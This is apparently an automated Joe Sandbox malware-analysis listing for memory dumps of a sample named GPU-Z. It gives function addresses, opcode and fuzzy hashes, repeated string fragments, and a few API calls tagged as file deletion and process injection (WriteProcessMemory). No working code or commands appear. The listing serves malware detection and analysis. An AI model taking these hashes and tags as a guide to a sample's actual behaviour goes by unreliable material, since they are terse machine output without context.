Opcode ID: 44eff3dd74f46c15b0c5f9e0a923a14bd0b50e2c11d273df0977f8acf49133bc
Instruction ID: b33d8fe10fcdabe15faafd9139f419777f7e22f084809fc4a8fcc4c0d157178e
Opcode Fuzzy Hash: 44eff3dd74f46c15b0c5f9e0a923a14bd0b50e2c11d273df0977f8acf49133bc
Instruction Fuzzy Hash: 42412CB0D116588FDB18CFA6C9846DEFBF6BF88310F14C1AAD509A7254DB346A85CF50

Function 07FE0040 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dd46b58e3da9d29f8c43611bf5f7302ac441b2a4c6cbf12c1c49ad15b8f0e98
Instruction ID: 0867970f1611aca4ded46d7bb2f62a16843871c1ef72fb300c14e158abcd1d0b
Opcode Fuzzy Hash: 1dd46b58e3da9d29f8c43611bf5f7302ac441b2a4c6cbf12c1c49ad15b8f0e98
Instruction Fuzzy Hash: 8931BAB5E006198BDB58CF6BD844B9EBBB7BFC8200F14C1AAD50CA7254DB745A45CF21

Function 07FE5408 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59fe6d6110e00437509aeec2eec74d43f433a9f83c7b9cb3dc7794aff35b4805
Instruction ID: 550a8939bed8177ede36d6fd97d81943e14b7117b3c891808d5124d76c7b1c5d
Opcode Fuzzy Hash: 59fe6d6110e00437509aeec2eec74d43f433a9f83c7b9cb3dc7794aff35b4805
Instruction Fuzzy Hash: 6A21EAB1E016188BEB58CF6BDD4069EFBF7AFC8200F14C1BAD508A7264EB341A558F51

Function 031BDBA8 Relevance: 90.7, Strings: 72, Instructions: 697
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 031BDF82
4']q, xrefs: 031BDCC6
4']q, xrefs: 031BE116
4']q, xrefs: 031BDF5F
4']q, xrefs: 031BE276
4']q, xrefs: 031BE6C2
4']q, xrefs: 031BE19A
4']q, xrefs: 031BE3D6
4']q, xrefs: 031BDE47
4']q, xrefs: 031BE24A
4']q, xrefs: 031BDCA3
4']q, xrefs: 031BE66A
4']q, xrefs: 031BE16E
4']q, xrefs: 031BE092
4']q, xrefs: 031BDD75
4']q, xrefs: 031BE562
4']q, xrefs: 031BDED3
4']q, xrefs: 031BE45A
4']q, xrefs: 031BDEF6
4']q, xrefs: 031BE37E
4']q, xrefs: 031BE326
4']q, xrefs: 031BE486
4']q, xrefs: 031BDEB0
4']q, xrefs: 031BDBF4
4']q, xrefs: 031BDE24
4']q, xrefs: 031BE1C6
4']q, xrefs: 031BE3AA
4']q, xrefs: 031BE00E
4']q, xrefs: 031BE03A
4']q, xrefs: 031BE50A
4']q, xrefs: 031BDBD1
4']q, xrefs: 031BE0BE
4']q, xrefs: 031BE2A2
4']q, xrefs: 031BE066
4']q, xrefs: 031BE696
4']q, xrefs: 031BE536
4']q, xrefs: 031BE2CE
4']q, xrefs: 031BDE8D
4']q, xrefs: 031BE5BA
4']q, xrefs: 031BE42E
4']q, xrefs: 031BDC5D
4']q, xrefs: 031BDD0C
4']q, xrefs: 031BDE01
4']q, xrefs: 031BE0EA
4']q, xrefs: 031BE1F2
4']q, xrefs: 031BDFEB
4']q, xrefs: 031BDCE9
4']q, xrefs: 031BDC3A
4']q, xrefs: 031BDE6A
4']q, xrefs: 031BE4B2
4']q, xrefs: 031BE2FA
4']q, xrefs: 031BDF19
4']q, xrefs: 031BE402
4']q, xrefs: 031BDFA5
4']q, xrefs: 031BE58E
4']q, xrefs: 031BE142
4']q, xrefs: 031BDDDE
4']q, xrefs: 031BE21E
4']q, xrefs: 031BE5E6
4']q, xrefs: 031BDC17
4']q, xrefs: 031BDC80
4']q, xrefs: 031BDF3C
4']q, xrefs: 031BE612
4']q, xrefs: 031BE352
4']q, xrefs: 031BE4DE
4']q, xrefs: 031BDFC8
4']q, xrefs: 031BDD2F
4']q, xrefs: 031BDDBB
4']q, xrefs: 031BDD52
4']q, xrefs: 031BE6EE
4']q, xrefs: 031BE63E
4']q, xrefs: 031BDD98

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q
API String ID: 0-2613458493
Opcode ID: 87f2a170d04fc0944e79ab823b067073e071ef2dc7ee3259c5fa61013953adf6
Instruction ID: 983aefb1fbcfdd24b7c42b1b4aa1dc021eca9f0b7fa8b1cf50eefa7a0049319f
Opcode Fuzzy Hash: 87f2a170d04fc0944e79ab823b067073e071ef2dc7ee3259c5fa61013953adf6
Instruction Fuzzy Hash: F2720B70A0021A8FCB1CEF78F994A9D7BB5FF44710F1085A89449AB264DF399E45CF92

Function 031BDBB8 Relevance: 90.7, Strings: 72, Instructions: 688
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 031BDF82
4']q, xrefs: 031BDCC6
4']q, xrefs: 031BE116
4']q, xrefs: 031BDF5F
4']q, xrefs: 031BE276
4']q, xrefs: 031BE6C2
4']q, xrefs: 031BE19A
4']q, xrefs: 031BE3D6
4']q, xrefs: 031BDE47
4']q, xrefs: 031BE24A
4']q, xrefs: 031BDCA3
4']q, xrefs: 031BE66A
4']q, xrefs: 031BE16E
4']q, xrefs: 031BE092
4']q, xrefs: 031BDD75
4']q, xrefs: 031BE562
4']q, xrefs: 031BDED3
4']q, xrefs: 031BE45A
4']q, xrefs: 031BDEF6
4']q, xrefs: 031BE37E
4']q, xrefs: 031BE326
4']q, xrefs: 031BE486
4']q, xrefs: 031BDEB0
4']q, xrefs: 031BDBF4
4']q, xrefs: 031BDE24
4']q, xrefs: 031BE1C6
4']q, xrefs: 031BE3AA
4']q, xrefs: 031BE00E
4']q, xrefs: 031BE03A
4']q, xrefs: 031BE50A
4']q, xrefs: 031BDBD1
4']q, xrefs: 031BE0BE
4']q, xrefs: 031BE2A2
4']q, xrefs: 031BE066
4']q, xrefs: 031BE696
4']q, xrefs: 031BE536
4']q, xrefs: 031BE2CE
4']q, xrefs: 031BDE8D
4']q, xrefs: 031BE5BA
4']q, xrefs: 031BE42E
4']q, xrefs: 031BDC5D
4']q, xrefs: 031BDD0C
4']q, xrefs: 031BDE01
4']q, xrefs: 031BE0EA
4']q, xrefs: 031BE1F2
4']q, xrefs: 031BDFEB
4']q, xrefs: 031BDCE9
4']q, xrefs: 031BDC3A
4']q, xrefs: 031BDE6A
4']q, xrefs: 031BE4B2
4']q, xrefs: 031BE2FA
4']q, xrefs: 031BDF19
4']q, xrefs: 031BE402
4']q, xrefs: 031BDFA5
4']q, xrefs: 031BE58E
4']q, xrefs: 031BE142
4']q, xrefs: 031BDDDE
4']q, xrefs: 031BE21E
4']q, xrefs: 031BE5E6
4']q, xrefs: 031BDC17
4']q, xrefs: 031BDC80
4']q, xrefs: 031BDF3C
4']q, xrefs: 031BE612
4']q, xrefs: 031BE352
4']q, xrefs: 031BE4DE
4']q, xrefs: 031BDFC8
4']q, xrefs: 031BDD2F
4']q, xrefs: 031BDDBB
4']q, xrefs: 031BDD52
4']q, xrefs: 031BE6EE
4']q, xrefs: 031BE63E
4']q, xrefs: 031BDD98

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q
API String ID: 0-2613458493
Opcode ID: ac1408f360f35d50bc763ab7866d03d9dcacfb2809807a53328dcc1559a1dbb9
Instruction ID: fa3942a589d9a441ba8cc0bc71ad621772c1546ef28ec047e48cfcb2d98523e5
Opcode Fuzzy Hash: ac1408f360f35d50bc763ab7866d03d9dcacfb2809807a53328dcc1559a1dbb9
Instruction Fuzzy Hash: 80721C70A0021A8FCB1CEF78F994A9D7BB5FF44710F1085A89449AB264DF399E45CF92

Function 031B5603 Relevance: 12.7, Strings: 10, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XX]q, xrefs: 031B56C9
XX]q, xrefs: 031B5875
XX]q, xrefs: 031B56F8
XX]q, xrefs: 031B5840
XX]q, xrefs: 031B57DF
XX]q, xrefs: 031B5779
XX]q, xrefs: 031B57CF
XX]q, xrefs: 031B5769
XX]q, xrefs: 031B56D5
XX]q, xrefs: 031B5865

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q
API String ID: 0-3139552813
Opcode ID: b7a002251355cd4826b24759c83fbe3584089c0fd2a03404aa1e3c11f5f940c0
Instruction ID: daf0c2967f15349deb08f7646f522bf18de957aa57dcbd3e6e1919d6b6d41cd4
Opcode Fuzzy Hash: b7a002251355cd4826b24759c83fbe3584089c0fd2a03404aa1e3c11f5f940c0
Instruction Fuzzy Hash: E9713B30E00249CBDB18DBA9D5547EEB6B7EB8D700F69845AD416AB394CB348885CBA1

Function 031B8198 Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

(o]q, xrefs: 031B81D6
(o]q, xrefs: 031B835A
(o]q, xrefs: 031B82BD
(o]q, xrefs: 031B8291

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q
API String ID: 0-1261621458
Opcode ID: e556d121d6ecfc094b43b8da51e8234bfe946fd908f03a1eb5be2b47c786131e
Instruction ID: 0b86b3b48dc3c194b851ad580e913b5a37d5bc693c90b85b396554f3ed64e9ea
Opcode Fuzzy Hash: e556d121d6ecfc094b43b8da51e8234bfe946fd908f03a1eb5be2b47c786131e
Instruction Fuzzy Hash: C7C13C30A006899FCB14DF69C984ADEBBFABF4C704F158599E459EB261D730ED41CB50

Function 08A91F30 Relevance: 4.0, Strings: 3, Instructions: 244COMMON

Download Yara Rule

Strings

(aq, xrefs: 08A920A9
(aq, xrefs: 08A920D5
(aq, xrefs: 08A92147

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: (aq$(aq$(aq
API String ID: 0-2593664646
Opcode ID: aaca5610ed00c76c82db2c43787d9cb398de856d83412ca513f025ee661772ef
Instruction ID: 792678bde10a4d50d063ef458dfb4cac1462afa5686c3cf8efd8fc9fdc779cee
Opcode Fuzzy Hash: aaca5610ed00c76c82db2c43787d9cb398de856d83412ca513f025ee661772ef
Instruction Fuzzy Hash: D1A19B70A043099FCB14EFA9C45479EBBF1FF89310F14856DE859AB390DB749981CB91

Function 031BA478 Relevance: 4.0, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

$]q, xrefs: 031BA584
$]q, xrefs: 031BA578
Haq, xrefs: 031BA624

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Haq$$]q$$]q
API String ID: 0-1533201563
Opcode ID: 29d769485bfcbe3758777568eed8238e2a7f358e36684c163d0a87267f74df7f
Instruction ID: b4086048eb5b9f6f20822cda81e0dae890dff856542ba936e4222dc16cf21f88
Opcode Fuzzy Hash: 29d769485bfcbe3758777568eed8238e2a7f358e36684c163d0a87267f74df7f
Instruction Fuzzy Hash: 55519F313102158FCB19EB7998586BE7BFAAFC8A40319846AE507CB391DF34CD42D792

Function 031BAAB0 Relevance: 3.9, Strings: 3, Instructions: 150COMMON

Download Yara Rule

Strings

Ybq, xrefs: 031BABEA
Ybq, xrefs: 031BABAA
Ybq, xrefs: 031BAC09

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Ybq$Ybq$Ybq
API String ID: 0-4124318017
Opcode ID: c080df486b22639836597ad0e06c92d44475a6ac54a22ad217ad84efea888ec5
Instruction ID: 2b98d9e38bfa0af1ea5075612aa0429b7e3494195e56f2c672b4d55f8cbaae6a
Opcode Fuzzy Hash: c080df486b22639836597ad0e06c92d44475a6ac54a22ad217ad84efea888ec5
Instruction Fuzzy Hash: 10516D30A14209CBDB18DEADD5547EEB7B6FF8C311F25882AD416A7384DB358C85CBA1

Function 031BAAA3 Relevance: 3.9, Strings: 3, Instructions: 135COMMON

Download Yara Rule

Strings

Ybq, xrefs: 031BABEA
Ybq, xrefs: 031BABAA
Ybq, xrefs: 031BAC09

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Ybq$Ybq$Ybq
API String ID: 0-4124318017
Opcode ID: a8a1cda341339ed1e09c05eb3053d54b6032ceba0c2b481e631deb379c8a78d6
Instruction ID: 7437eeff2898d59402b830dc1bbdd83c10432045d4ef3ac895e0d5c81a8a8db4
Opcode Fuzzy Hash: a8a1cda341339ed1e09c05eb3053d54b6032ceba0c2b481e631deb379c8a78d6
Instruction Fuzzy Hash: BD419030A14209CBDB18DEADD5547EDB7B6FF8C311F24882AD416E7344DB358885CBA1

Function 031B6848 Relevance: 2.9, Strings: 2, Instructions: 436COMMON

Download Yara Rule

Strings

Haq, xrefs: 031B6A19
Haq, xrefs: 031B6A4C

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 43f08dd7bcedcbbcd6ecc3b958575c3348e8b380159339c04be694b1c863a8e1
Instruction ID: ad0bae7e072d7473ef65ed79890714ff7726563cf1266b23d04be276b0ba482f
Opcode Fuzzy Hash: 43f08dd7bcedcbbcd6ecc3b958575c3348e8b380159339c04be694b1c863a8e1
Instruction Fuzzy Hash: 59E1BF307002159FCB18DF68D858BBE7BBAAB98340F188469E90ADB390CF74DD41D792

Function 08A92510 Relevance: 2.9, Strings: 2, Instructions: 378COMMON

Download Yara Rule

Strings

Haq, xrefs: 08A92651
Haq, xrefs: 08A925C8

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 18bb335f2b68c3e9bb290352efadac9514c6c11bae442ddce2c5ee98c16bf25e
Instruction ID: 2b554adb5b28293bcc604fdc27c3abd2bc943632b196ad03504ace556004be6e
Opcode Fuzzy Hash: 18bb335f2b68c3e9bb290352efadac9514c6c11bae442ddce2c5ee98c16bf25e
Instruction Fuzzy Hash: A4C1E271B182158FCB09BBB8D89962EBBB6EFC5310F40496CD449E7741EE388C46C796

Function 0678CFB8 Relevance: 2.8, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0678D126
PH]q, xrefs: 0678D294

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: a6f4f865345d232bf523e933556f9428737b13beeb9a9143de43bbd815039e13
Instruction ID: e26d2398e4e3f32d6ab0918ec56bba939ec68173095390c97fe0c8d53b6d7503
Opcode Fuzzy Hash: a6f4f865345d232bf523e933556f9428737b13beeb9a9143de43bbd815039e13
Instruction Fuzzy Hash: 60C11830B402058FCB58EF68D598AADBBF2BF89310B1545A8E406EB3A5DB35ED41CF50

Function 0678C8C4 Relevance: 2.7, Strings: 2, Instructions: 233COMMON

Download Yara Rule

Strings

(aq, xrefs: 0678FF35
PH]q, xrefs: 0678FF09

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: (aq$PH]q
API String ID: 0-259187744
Opcode ID: 29b955b15a05f32c75cdcafecd99d18f5cabbac6a6585495a410dd53c4f22343
Instruction ID: 1dcdf6cc81caf2caee73e8bb08dcd233eafc1cd65c451a87366aaa4c2cafaa46
Opcode Fuzzy Hash: 29b955b15a05f32c75cdcafecd99d18f5cabbac6a6585495a410dd53c4f22343
Instruction Fuzzy Hash: 4F515830B805058FDB58EF28C998AA9B7F6BF89740F148569E506DB365DF38EC05CB90

Function 031B6F38 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

,aq, xrefs: 031B7018
,aq, xrefs: 031B700E

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: 11ffce0f3ce19e0e90ae7e15875e24e8be4703778c4b425ac1c0c2c53121ef80
Instruction ID: fb1a1969de9a59757d1df14d9a3de478a47fb028345078b339a4cb072232cd7b
Opcode Fuzzy Hash: 11ffce0f3ce19e0e90ae7e15875e24e8be4703778c4b425ac1c0c2c53121ef80
Instruction Fuzzy Hash: 57817134A00506DFCB18DF69C8849AAB7B6FF8D710B19816AE405E73A5D731EC41CB61

Function 08A936C0 Relevance: 2.5, Strings: 2, Instructions: 43COMMON

Download Yara Rule

Strings

TJbq, xrefs: 08A936DC
Te]q, xrefs: 08A936C7

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: TJbq$Te]q
API String ID: 0-3147309840
Opcode ID: b80a4c4d996830197e4c90e60e23ff19f1c66a520659b6e3e258fd6387913f39
Instruction ID: 8728a19dce925ccb04b91615c571fdce96b85656c6626f6c6b6138577c21f00e
Opcode Fuzzy Hash: b80a4c4d996830197e4c90e60e23ff19f1c66a520659b6e3e258fd6387913f39
Instruction Fuzzy Hash: B0F0F6363101114FC608AB7DB49893E73EBBFC9A20315405DE40ADB3A0CE60DC0383A7

Function 067822C9 Relevance: 1.9, Strings: 1, Instructions: 696COMMON

Download Yara Rule

Strings

s2l^, xrefs: 067822F8

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID: s2l^
API String ID: 0-3659854197
Opcode ID: 618803ec5aa203f4698bceff6f510cbf7a702c415026e99e3d368c6c16eda128
Instruction ID: 9c792f12d49e0614ef51d1a90996aa275ade7b69f148cbfbd988195bed4a13bd
Opcode Fuzzy Hash: 618803ec5aa203f4698bceff6f510cbf7a702c415026e99e3d368c6c16eda128
Instruction Fuzzy Hash: 9B52CD70E80B454EDBB8EF64C4893AD7EA1AF41751F604D1FC1BACA392DB349941CBA1

Function 08A92CFB Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

Te]q, xrefs: 08A93293

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: b7bb49b6d74ce314a9a19f4179f5cd27933756c1ee0c91837586a70fbe248e11
Instruction ID: cc59c43a3667c0087e187f150d7a90a7fae0056100b0981210694d16f510de29
Opcode Fuzzy Hash: b7bb49b6d74ce314a9a19f4179f5cd27933756c1ee0c91837586a70fbe248e11
Instruction Fuzzy Hash: FE127AB0B182148BDB18FFB9D49966DBBB2EF88704F91482CD449E7351DE389C46CB52

Function 08A92D08 Relevance: 1.8, Strings: 1, Instructions: 555COMMON

Download Yara Rule

Strings

Te]q, xrefs: 08A93293

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: d2a44a36afc2c59635d3a21bf40039c8ba975fd5b18de4aabb77ace2b6c47b5b
Instruction ID: 309ce598bf1662855d70611a8ce0c3996a7c6b9333b9b76dd889e9dd401d8e3b
Opcode Fuzzy Hash: d2a44a36afc2c59635d3a21bf40039c8ba975fd5b18de4aabb77ace2b6c47b5b
Instruction Fuzzy Hash: 5A127AB0B182148BDB18FBB9D49966DBBB2EF88704F91482CD449E7351DE389C46CB52

Function 08A93748 Relevance: 1.8, Strings: 1, Instructions: 537COMMON

Download Yara Rule

Strings

4c]q, xrefs: 08A93C84

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4c]q
API String ID: 0-1015785248
Opcode ID: 9b8b5d24b42658a601c19f7e77466e6c5929d417dbfb5eaadbc91d0c9ce5a743
Instruction ID: cb6f12d292015b4513db96d8f181ced208a9255e3d69ae0881a49a5cf0a75d44
Opcode Fuzzy Hash: 9b8b5d24b42658a601c19f7e77466e6c5929d417dbfb5eaadbc91d0c9ce5a743
Instruction Fuzzy Hash: 6B026570618604DFCB44EF78D59851ABBF2FF89704B8188ADE48A8B361DB34DC06CB52

Function 08A93738 Relevance: 1.7, Strings: 1, Instructions: 462COMMON

Download Yara Rule

Strings

4c]q, xrefs: 08A93C84

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: 4c]q
API String ID: 0-1015785248
Opcode ID: 395f415c239a0b792089bddfd15cafdf709e1008c4e3b0a48fb08f2e8de01c92
Instruction ID: 483692353e66283f01612c607bd7f8e226e9b5fdf5c9e92466050a0c05edc7f7
Opcode Fuzzy Hash: 395f415c239a0b792089bddfd15cafdf709e1008c4e3b0a48fb08f2e8de01c92
Instruction Fuzzy Hash: C0026670618604DFCB48EF78D59851ABBF2FF89704B91886CE48A9B361DB34DC46CB42

Function 08A9E528 Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

@, xrefs: 08A9EAC4

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 038770ca41e4c7d3dacfe719e11d518f82194e67d20ebf2b43157604ada095d6
Instruction ID: d758c59b2a89e4c6a374e4ef7505b04b67de2a2f66f46eb0c1986a40325bae8b
Opcode Fuzzy Hash: 038770ca41e4c7d3dacfe719e11d518f82194e67d20ebf2b43157604ada095d6
Instruction Fuzzy Hash: 30E1C270B182058BDB04FBB8D99962EB7B2EF84714F854828D089F7752DE3C9C16C766

Function 07FE89B5 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b003f3cf1b0876968407d762d89395f3ae3b85d2b23e7c92950d6f1d3d29889b
Instruction ID: 08f0095893c6b154c5bbc1d02ea9ab3111f9cac8353c0b0d262a3f17dee1bb38
Opcode Fuzzy Hash: b003f3cf1b0876968407d762d89395f3ae3b85d2b23e7c92950d6f1d3d29889b
Instruction Fuzzy Hash: 6B3105B2C0824A9FCB20DF9DC804ADEBFF5FB59320F148259E568A32D1D3389411CB95

Function 031BC940 Relevance: 1.6, Strings: 1, Instructions: 331COMMON

Download Yara Rule

Strings

Haq, xrefs: 031BCA18

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 54f0906b9da79388877fa987df15945771d55c3298003438f4c0cf96cb9ff19a
Instruction ID: 0294ebe600243cb6842c140aefc6638009d0fcabc7512e8eb34d1fd59aeaf58e
Opcode Fuzzy Hash: 54f0906b9da79388877fa987df15945771d55c3298003438f4c0cf96cb9ff19a
Instruction Fuzzy Hash: 51C1B034B002159FCB18DF68D8906AEBBFAAFCD750F298459D845AB390DB359D01CBD1

Function 088DBF97 Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 088DC030

Memory Dump Source

Source File: 00000000.00000002.2861417736.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_88d0000_GPU-Z.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 431e1bfd6244dc0ddbcd49a631f047295db2528681e5fe679661e2d4f8347b7a
Instruction ID: 70078970e1566b8ce540be3b4a3f4f0d43e4636e6834724d49ec2c1b555e183c
Opcode Fuzzy Hash: 431e1bfd6244dc0ddbcd49a631f047295db2528681e5fe679661e2d4f8347b7a
Instruction Fuzzy Hash: 022198B1C007599FCB10DFAAC84069EFFB5AF08320F04816AD858A7241D778A944CFA1

Function 07FF1D98 Relevance: 1.6, APIs: 1, Instructions: 75injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07FF1E30

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
